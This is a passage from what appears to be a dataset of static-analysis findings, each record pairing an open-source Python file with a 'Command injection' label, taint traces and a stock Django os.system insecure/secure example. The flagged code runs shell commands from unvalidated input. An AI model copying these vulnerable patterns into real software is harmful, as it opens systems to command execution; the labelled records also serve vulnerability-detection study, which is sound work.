graph generated successfully - %s ' %\n                 graph_pdf)\n    except Exception:\n        LOG.error('Reference workflow graph generation failed')\n        raise click.Abort()\n\n    LOG.info(\"Reference generation workflow started\")\n\n    # Singularity bind path\n    bind_path = list()\n    bind_path.append(config_dict['output'])\n    bind_path.append(config_dict['rule_directory'])\n\n    # Construct snakemake command to run workflow\n    balsamic_run = SnakeMake()\n    balsamic_run.working_dir = config_dict['output']\n    balsamic_run.snakefile = snakefile\n    balsamic_run.configfile = config_json\n    balsamic_run.run_mode = \"local\"\n    balsamic_run.forceall = force_all\n    balsamic_run.run_analysis = run_analysis\n    balsamic_run.quiet = quiet\n    balsamic_run.sm_opt = list(snakemake_opt) + [\"--cores\", \"1\"]\n\n    # Always use singularity\n    balsamic_run.use_singularity = True\n    balsamic_run.singularity_bind = bind_path\n\n    subprocess.run(balsamic_run.build_cmd(), shell=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 126, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "126"}}, {"lineNo": 127, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "8a0b3415bf6cd0f7024c49f5394dd85793d6f27da1f8b1b8c72ea4da088e7f17", "license": {"spdx": ["MIT"], "repo": "anthonyk91/AssistedVolumeSegmentation", "path": "AssistedVolumeSegmentation/get_data_overview.py", "repo_head_hexsha": "5fcbea132a778395f78b6968695a7ce921cc0b3b", "stack_hexsha": "48078ba7ab93f13026e3b8680820c0e8ffefa3d6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 261, "entireCode": "# get overview of data\n# read data from given files, and produce a reduced image of each data file\n\nimport argparse\nimport logging\nimport math\nimport os\nimport shutil\nimport subprocess\nfrom typing import Any, Dict, List, Optional\n\nimport h5py\nimport nibabel as nib\nimport numpy as np\nfrom PIL import Image\nfrom tqdm import tqdm\n\nfrom AssistedVolumeSegmentation.common import (\n    default_seg_file,\n    get_file_list,\n    get_full_path,\n    get_source_data_path,\n    init_logging,\n    load_config,\n    overview_bound_size,\n    write_annot_file,\n)\n\n\ndef reduce_source_data(\n    config: Dict[str, Any],\n    bound_size: List[int],\n    subdir_num: Optional[int],\n    launch_editor: bool,\n    reduce_annotation: bool = False,\n    source_format: Optional[str] = None,\n    data_path: Optional[str] = None,\n    write_data_path: Optional[str] = None,\n):\n    \"\"\"\n    Read source data, from either a stack of tiff files from the given dir or an HDF5 data file, and resize the\n    source volume data to the given size.\n\n    :param Dict[str, Any] config: Configuration map\n    :param List[int] bound_size: Maximum size of the volume, as (height, width, layers)\n    :param Optional[int] subdir_num: Number of subdirectory data to read\n    :param bool launch_editor: If true, launch slicer editor using the produced overview data\n    :param bool reduce_annotation: If true, perform reduction of a generated segmentation.  This requires source_format,\n           data_path and write_data_path to be defined\n    :param Optional[str] source_format: Format of source data (read from config if not specified)\n    :param Optional[str] data_path: Path of source data (read from config if not specified)\n    :param Optional[str] write_data_path: Path to write reduced data to (read from config if not specified)\n    :return: Array of source images reduced to given size\n    \"\"\"\n    if source_format is None:\n        source_format = config[\"source_data_format\"][subdir_num]\n    read_tiff_stack = source_format == \"tiff-stack\"\n\n    # select source data path according to index in config file. assume source data path is an array\n    if data_path is None:\n        assert subdir_num is not None\n        data_path = get_source_data_path(config, subdir_num)\n    if write_data_path is None:\n        write_data_path = get_full_path(\n            config, subdir_num, \"overview_reduced_data\"\n        )\n    assert source_format is not None and data_path is not None\n    if reduce_annotation:\n        logging.info(\n            \"Reducing generated annotation, reading from source %s, format %s, writing to %s, bound size %s\"\n            % (\n                data_path,\n                source_format,\n                write_data_path,\n                bound_size,\n            )\n        )\n    else:\n        write_coverage_path = get_full_path(\n            config, subdir_num, \"overview_coverage\"\n        )\n        logging.info(\n            \"Producing overview, reading from source %s, format %s, writing to %s, %s, bound size %s\"\n            % (\n                data_path,\n                source_format,\n                write_data_path,\n                write_coverage_path,\n                bound_size,\n            )\n        )\n\n    if read_tiff_stack:\n        # get the list of files\n        file_list = get_file_list(data_path)\n        input_stacks = len(file_list)\n\n        # read the first image to get dimensions.  assume images are the same size\n        first_img = Image.open(file_list[0])\n        input_w, input_h = first_img.size  # (width, height)\n        input_dims = (input_h, input_w)\n        input_count = input_stacks\n        iterate_dim = 2\n    else:\n        # open as hdf5 file\n        h5_file = h5py.File(data_path, \"r\")\n        h5_data_key = config[\"source_hdf5_dataset_name\"]\n        h5_data = h5_file[h5_data_key]\n\n        # with H5 data, iterate over the first dimension (x), which is different to when reading from image stacks.\n        # it is much faster to slice on the initial dimension(s) than on later ones (eg z).\n        # find dimensions of data.  if 4 dims assume format is (layers, x, y, z), and only read from first layer.  don't try and\n        # index the layer at the start as it would load the whole array in memory, perform indexing with each iteration\n        if h5_data.ndim == 4:\n            input_size = h5_data.shape[1:]\n        else:\n            input_size = h5_data.shape\n        input_count = input_size[0]\n        input_dims = input_size[1:3]\n        iterate_dim = 0\n\n    # find the downsample factor to fit within the given bounds.  only allow reducing size\n    ratios = [min(1.0, x / y) for x, y in zip(bound_size, input_dims)]\n    reduce_ratio = np.min(ratios)\n\n    # find target image size\n    target_imgs = math.ceil(input_count * reduce_ratio)\n    target_dims = tuple([math.ceil(x * reduce_ratio) for x in input_dims])\n\n    def find_frame_score(input_idx, div_steps, out_slice):\n        lower_bound = max(input_idx, div_steps[out_slice])\n        upper_bound = min(input_idx + 1, div_steps[out_slice + 1])\n        return upper_bound - lower_bound\n\n    # read slices in turn\n    logging.info(\n        \"found %d images(slices), input dim (w %d, h %d), target dim %s, %d slices\"\n        % (input_count, input_dims[1], input_dims[0], target_dims, target_imgs)\n    )\n    input_slices = {}\n    division_steps = np.arange(target_imgs + 1) * (1.0 / reduce_ratio)\n    output_slice = 0\n    range_start = 0\n    range_end = math.ceil(division_steps[1])\n    output_slices = []\n    for count in tqdm(range(input_count)):\n        if read_tiff_stack:\n            this_file = file_list[count]\n            this_img = Image.open(this_file)\n        else:\n            if h5_data.ndim == 4:\n                this_img = Image.fromarray(h5_data[0, count])\n            else:\n                this_img = Image.fromarray(h5_data[count])\n\n        resized_img = this_img.resize(target_dims, Image.NEAREST)\n        input_slices[count] = resized_img\n\n        # check if we have enough slices to output the next slice\n        if count >= range_end - 1:\n            slices = np.stack(\n                [\n                    np.array(input_slices[x])\n                    for x in range(range_start, range_end)\n                ]\n            )  # (slices, width, height)\n            slice_weights = np.array(\n                [\n                    find_frame_score(x, division_steps, output_slice)\n                    for x in range(range_start, range_end)\n                ]\n            )  # (slices,)\n\n            reduced_slice = (slices * slice_weights[:, None, None]).sum(\n                axis=0\n            ) / slice_weights.sum()\n            output_slices.append(reduced_slice)\n\n            # update output slice number and input slice range\n            output_slice += 1\n            if output_slice < target_imgs:\n                range_start = math.floor(division_steps[output_slice])\n                range_end = math.ceil(division_steps[output_slice + 1])\n\n                # remove stored input slices outside of range\n                remove_input_frames = [\n                    x\n                    for x in input_slices.keys()\n                    if x < range_start or x > range_end\n                ]\n                for x in remove_input_frames:\n                    input_slices.pop(x)\n\n    # write output slices\n    output_array = np.stack(output_slices, axis=iterate_dim)\n    if reduce_annotation:\n        # discretise results and write in annotation format\n        discrete_array = (output_array > 0.5).astype(\"int\")\n\n        # define segment fields.  only a single segment is given as output in current method\n        sample_fields = {\n            \"Segment0_Color\": \"0.525666 0.813434 0.324\",\n            \"Segment0_ColorAutoGenerated\": \"1\",\n            \"Segment0_Extent\": \"0 %d 0 %d 0 %d\"\n            % tuple((np.array(output_array.shape) - 1).tolist()),\n            \"Segment0_ID\": \"Generated_0\",\n            \"Segment0_LabelValue\": \"1\",\n            \"Segment0_Layer\": \"0\",\n            \"Segment0_Name\": \"Generated_0\",\n            \"Segment0_NameAutoGenerated\": \"1\",\n            \"Segment0_Tags\": \"Segmentation.Status:inprogress|TerminologyEntry:Segmentation category and type - 3D Slicer General Anatomy list~SRT^T-D0050^Tissue~SRT^T-D0050^Tissue~^^~Anatomic codes - DICOM master list~^^~^^|\",\n        }\n\n        scales = np.identity(3, dtype=\"float\")\n        write_annot_file(\n            index_name=None,\n            write_path=None,\n            annot_data=discrete_array,\n            annot_fields=sample_fields,\n            scales=scales,\n            annot_write_path=write_data_path,\n        )\n        logging.info(\n            \"Created reduced segmentation in: %s\" % (write_data_path,)\n        )\n        launch_args = [write_data_path]\n\n    else:\n        # write out reduced volume data\n        # create Nifti1 format object from array\n        # define affine transform matrix representing scaling transform\n        aff_matrix = np.identity(4, dtype=\"float\")\n        np.fill_diagonal(aff_matrix, [1.0 / reduce_ratio] * 3)\n        nifti_object = nib.Nifti1Image(output_array, aff_matrix)\n        overviews_path = get_full_path(config, subdir_num, \"overviews_path\")\n        os.makedirs(overviews_path, exist_ok=True)\n        nib.save(nifti_object, write_data_path)\n\n        # create sample coverage segmentation file\n        if not os.path.exists(write_coverage_path):\n            script_path = os.path.dirname(os.path.abspath(__file__))\n            default_file = os.path.join(\n                script_path, os.pardir, default_seg_file\n            )\n            shutil.copyfile(default_file, write_coverage_path)\n            logging.info(\n                \"Copying initial coverage annotation from %s to %s\"\n                % (default_file, write_coverage_path)\n            )\n\n        logging.info(\n            \"Created overview data in: %s , and empty coverage annotation in: %s\"\n            % (write_data_path, write_coverage_path)\n        )\n        launch_args = [write_data_path, write_coverage_path]\n\n    args = [config[\"slicer_path\"]] + launch_args\n    launch_command = \" \".join(args)\n    if launch_editor:\n        logging.info(\"Launching Slicer editor with arguments: %s\" % args)\n        subprocess.run(launch_command, shell=True)\n    else:\n        logging.info(\n            \"You can open this in Slicer manually, or launch it with: %s\"\n            % (launch_command,)\n        )\n\n\ndef main():\n    init_logging()\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"-c\", \"--config_file\", help=\"Project config file\", required=True\n    )\n    parser.add_argument(\n        \"-s\", \"--subdir\", help=\"Data subdirectory number\", required=False\n    )\n    parser.add_argument(\n        \"-l\",\n        \"--launch\",\n        help=\"Launch Slicer to edit piece\",\n        action=\"store_true\",\n    )\n    parser.add_argument(\n        \"-g\",\n        \"--generated_data\",\n        help=\"Generated annotation to reduce\",\n        required=False,\n    )\n    parser.add_argument(\n        \"-o\",\n        \"--generated_data_output\",\n        help=\"Output file for reducing generated data\",\n        required=False,\n    )\n\n    args = parser.parse_args()\n    config = load_config(args.config_file)\n\n    if args.generated_data is None:\n        # produce overview, read source data from tiff files in given directory or an HDF5 file,\n        # and downsample to given size\n        if not isinstance(args.subdir, str) or not args.subdir.isnumeric():\n            raise RuntimeError(\"Subdir should be a number\")\n        subdir_num = int(args.subdir)\n        reduce_source_data(\n            config,\n            overview_bound_size,\n            subdir_num,\n            args.launch,\n        )\n    else:\n        # perform reduction of generated annotation data\n        assert args.generated_data_output is not None\n        if os.path.exists(args.generated_data_output):\n            raise RuntimeError(\n                \"Generated data output already exists: %s\"\n                % args.generated_data_output\n            )\n\n        reduce_source_data(\n            config,\n            overview_bound_size,\n            None,\n            args.launch,\n            reduce_annotation=True,\n            source_format=\"hdf5\",\n            data_path=args.generated_data,\n            write_data_path=args.generated_data_output,\n        )\n\n\nif __name__ == \"__main__\":\n    main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 259, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "259"}}, {"lineNo": 261, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "725152b5806be7b1f60ab0516497316305657a30aa5bc189aa770b0445bf18c9", "license": {"spdx": ["MIT"], "repo": "anushkrishnav/QiskitBot", "path": "podman/cogs/docs.py", "repo_head_hexsha": "1aa2bca3f123a6f5d1c153306df8e1c7906f3394", "stack_hexsha": "38d75b1e2e59c265f98796cc3c6702803e52397d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 18, "entireCode": "import discord \nfrom discord.ext import commands\nimport asyncio \nimport subprocess \nimport logging\nimport re\n\n\nlogger = logging.getLogger(__name__)\n\nclass DocInfo(commands.Cog):\n    def __init__(self, bot):        \n        self.bot = bot\n    \n    @commands.command(name = 'docs')\n    async def docs(self, ctx, *, arg):\n        if re.match('^`[A-Za-z]{1,20}`$', arg):\n            out = subprocess.run( f'echo \"from qiskit import *\\nhelp({arg[1:-1]})\" | python3', \n                                    shell = True, text = True, capture_output = True)\n            if out.returncode == 0:\n                embed = discord.Embed(title = f'Info on {arg}', \n                                    description = f'```py{out.stdout}```')\n                await ctx.send(embed = embed)\n        else:\n            embed = discord.Embed(title = 'Error', \n                                description = 'Try again with a correct class or function name and with a limit of 20 characters.')\n            await ctx.send(embed = embed)\n\n\ndef setup(bot):\n    bot.add_cog(DocInfo(bot))\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "17"}}, {"lineNo": 18, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "f48e47d1344878030168ee5e8333985427d9a4d0f3864a8e522fdfde96e4415a", "license": {"spdx": ["MIT"], "repo": "Cyber2f08/AgentSudo", "path": "worker/service/npx.py", "repo_head_hexsha": "3cc06eb13a66523952142cc9793a31dd66ca6b78", "stack_hexsha": "dc8efdd7028531bc7a84a75d699a50abce19b603", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 122, "entireCode": "import os, sys\nimport random\nimport glob\nimport json\nimport itertools\nfrom rich import print\nfrom sys import platform\n\n# PYINT\nimport os, sys, requests, platform\n\n\nimport time, random\nEMP = \"[[cyan]Purify[/cyan]]\"\nPTS = []\nPTM = []\nINST = 0\nINIT = os.getcwd()\nPATH = \"\\package\\scripts\\\\\"\nFULL = INIT+PATH\nERR_NOT_FOLD = \"[MEM] Error folder not found\"\nos.chdir(\"bin/\")\n\nclass script():\n\tdef install():\n\t\tglobal INST\n\t\t#print(\"[[cyan]NPX[/cyan]] NPX Package management is still going under development... (PLEASE WAIT) \")\n\t\tprint(\"[[purple]NPX[/purple]] Initialized... (v1)\")\n\t\ttime.sleep(random.uniform(3, 0.01))\n\t\ttime.sleep(random.uniform(0.1, 0.001))\n\t\tprint(\"[[cyan]NPX[/cyan]] Initiating [green]purify[/green] scripts... \")\n\t\tprint(\"[[yellow]NPX[/yellow]] Pulling local addon scripts...\")\n\t\tfor file in os.listdir(FULL):\n\t\t\tif file.endswith(\".json\"):\n\t\t\t\tPTM.append(file)\n\t\t\t\tPTS.append(FULL+file)\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tcontinue\n\t\ttry:\n\t\t\terr_checkout = PTS[0]\n\t\t\tfor xf in range(len(PTS)):\n\t\t\t\twith open(str(PTS[xf])) as f:\n\t\t\t\t\t#try:\n\t\t\t\t\trdata = json.load(f)\n\t\t\t\t\tprint(f\"[[green]NPX[/green]] Running purify on, Script: {PTM[xf]}\")\n\t\t\t\t\tprint(f\"[[cyan]Purify[/cyan]] Running...\")\n\t\t\t\t\ttry:\n\t\t\t\t\t\tNPXM = rdata[\"PACKAGE_\"]\n\t\t\t\t\t\tVER = rdata[\"VERSION\"]\n\t\t\t\t\t\tSTAT = rdata[\"DISABLE\"]\n\t\t\t\t\t\tLOG = rdata[\"LOG\"]\n\t\t\t\t\t\tAUTH = rdata[\"AUTHOR\"]\n\t\t\t\t\texcept KeyError:\n\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Error, this row must be in requirements.. (PACKAGE_, VERSION, DISABLE, LOG, AUHOR)\")\n\t\t\t\t\t\tprint(f\"[[red]Purify[/red]] Moving to the next one, Remove the script or Modify it. We dont know which one!\")\n\t\t\t\t\t\tcontinue\n\t\t\t\t\ttry:\n\t\t\t\t\t\tCMD_ = rdata[\"CMD\"]\n\t\t\t\t\t\tPYINT = None\n\t\t\t\t\texcept KeyError:\n\t\t\t\t\t\tprint(\"[[yellow]Purify[/yellow]] CMD Row is empty or not be displayed.. Checking [green]pyinstance[/green] (PYINT) row... \")\n\t\t\t\t\t\tCMD_ = None\n\t\t\t\t\t\tPYINT = rdata[\"PYINT\"]\n\t\t\t\t\tif STAT != \"false\":\n\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] {PTM[xf]} has been disabled, Next!\")\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tprint(f\"[[cyan]Purify[/cyan]] Running package with name of {NPXM} version {VER}\")\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\t\tprint(f'''[[cyan]Purify[/cyan]] Information about the creator of {NPXM}: \\n[[yellow]Purify[/yellow]] Author: {AUTH[\"NAME\"]} \\n[[yellow]Purify[/yellow]] Email: {AUTH[\"EMAIL\"]}''')\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\t\tprint(f\"[[cyan]NPX[/cyan]] Script seems stable...\")\n\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Logs: {LOG}\")\n\t\t\t\t\tif CMD_ == None and PYINT != None:\n\t\t\t\t\t\tprint(f\"[[cyan]Purify[/cyan]] Running pyint for internal execution... (FUNC ON INTERNAL)\")\n\t\t\t\t\t\trd = PYINT.split()\n\t\t\t\t\t\tif rd[0] == 'REQUEST' or rd[0] == 'REQUEST'.lower:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tMETHOD = rd[1]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] METHOD for requests isnt specified which is critical...\")\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tURL = rd[2]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] URL for requesting isnt specified which is critical...\")\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tTODO = rd[3]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] What to do isnt specified which is critical...\")\n\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tPATH = rd[4]\n\t\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\t\tprint(\"[[yellow]NPX[/yellow]] Path to file isnt specified which is great!\")\n\t\t\t\t\t\t\tif METHOD == 'GET' or METHOD == 'GET'.lower:\n\t\t\t\t\t\t\t\tdata = requests.get(URL)\n\t\t\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Running requests on {URL}\")\n\t\t\t\t\t\t\t\tif TODO == 'PRT_STATUS':\n\t\t\t\t\t\t\t\t\tprint(\"[[yellow]Purify[/yellow]] Logs: Server status,\", data.ok)\n\t\t\t\t\t\t\t\telif TODO == 'PRINT_TXT_TO_FILE':\n\t\t\t\t\t\t\t\t\tprint(\"[[yellow]Purify[/yellow]] Logs: Retrieving text to file from server... [BETA CANNOT USE IT NOW...]\")\n\t\t\t\t\t\t\t\telif TODO == 'PRINT_TXT':\n\t\t\t\t\t\t\t\t\tprint(\"[[green]Purify[/green]] Here comes a nuke requests text... \")\n\t\t\t\t\t\t\t\t\tprint(data.text)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] TODO Function isnt match!\")\n\t\t\t\t\t\t\t\t\tprint(\"[[red]Purify[/red]] Continuing to the next package...\")\n\t\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telif METHOD == 'POST' or METHOD == 'POST'.lower:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Package successfuly to launch... Moving to next package\")\n\t\t\t\t\t\tINST += 1\n\t\t\t\t\telif CMD_ != None and PYINT == None:\n\t\t\t\t\t\tprint(f\"[[green]Purify[/green]] CMD row comand detected without pyinstance which is good! \")\n\t\t\t\t\t\tprint(f\"[[yellow]NPX[/yellow]] Running commands available...\")\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tos.system(CMD_)\n\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\tprint(f\"[[red]CMD[/red]] Failed to launch, error: {e}. Next package...\")\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tprint(f\"[[yellow]Purify[/yellow]] Package successfuly to launch/install... Moving to next package\")\n\t\t\t\t\t\tINST += 1\n\t\t\t\t\t\t#except Exception as e:\n\t\t\t\t\t\t#\tprint(f\"[[purple]NPX[/purple]] Script: {PTM[xf]}, Error: {e}. (*)!, Skipping.. [[red]=====[/red]]\")\n\t\t\t\t\tcontinue\n\t\texcept IndexError:\n\t\t\tprint(\"[[red]NPX[/red]] There is no script available\")\n\t\tprint(f\"[[yellow]NPX[/yellow]] Done.. ({INST} Installed packages ).. Happy hacking..\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 59, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "rdatascript.install.rdata[\"CMD\"]"}}, {"lineNo": 59, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 118, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "118"}}, {"lineNo": 122, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "68f5339dc95d3577753b3013f0057143b0e0c216e78947b84e8379ad941b100f", "license": {"spdx": ["MIT"], "repo": "ryanjsfx2424/HowToNFTs", "path": "GoogleCloud/backend.py", "repo_head_hexsha": "f4cff7ad676d272815bd936eb142556f92540a32", "stack_hexsha": "db1fd3d38056cafb0f7ff39c5a005804f923571f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 70, "entireCode": "## backend.py\n\"\"\"\nThe purpose of this script is to continuously monitor the blockchain to\n1) determine if a holder aquires or loses an NFT:\n2) if they do, generate a new image/movie for the tokens they hold,\n3) upload the new image/movie to the hosting service\n4) update the metadata file\nRepeat :)\n\n(The above ordering matters!)\n\"\"\"\n\n## use python3!!!\nimport os\nimport io\nimport json\nfrom web3 import Web3\n\n## PARAMETERS\nDEPLOYER_ADDRESS = \"0x01656d41e041b50fc7c1eb270f7d891021937436\"\nINFURA_URL = \"https://rinkeby.infura.io/v3/37de3193ccf345fe810932c3d0f103d8\"\n\nEXT_IMG      = \".mp4\"\nEXT_METADATA = \".json\"\n\nADDRESS   = \"0xb552E0dDd94EA72DBc089619115c81529cd8CA70\" # address for deployed smart contract\n\n## web3 stuff\nw3 = Web3(Web3.HTTPProvider(INFURA_URL))\n\nwith open(\"../contract/abi_v020.json\", \"r\") as fid:\n  rl = \"\".join(fid.readlines())\n  abi = json.loads(rl)\n# end with open\n\n## goal is to update token URI based on how many are held\n## by that owner (but deployer doesn't count!)\ncontract = w3.eth.contract(address=ADDRESS, abi=abi)\n\ntotalSupply = contract.functions.totalSupply().call()\nprint(\"total supply: \", totalSupply)\n\nfor ii in range(totalSupply):\n  token = contract.functions.tokenByIndex(ii).call()\n  owner = contract.functions.ownerOf(token).call()\n  tokenList = contract.functions.walletOfOwner(owner).call()\n\n  ## string comparison fails for some mysterious reason\n  if int(owner,16) == int(DEPLOYER_ADDRESS,16):\n    tokenList = [ii+1]\n  # end if\n\n  print(\"token: \", token)\n  print(\"owner: \", owner)\n  print(\"tokenList: \", tokenList)\n\n  newTokenName = str(token)\n  for jj in range(len(tokenList)):\n    if tokenList[jj] != token:\n      newTokenName += \"_\" + str(tokenList[jj])\n    # end if\n  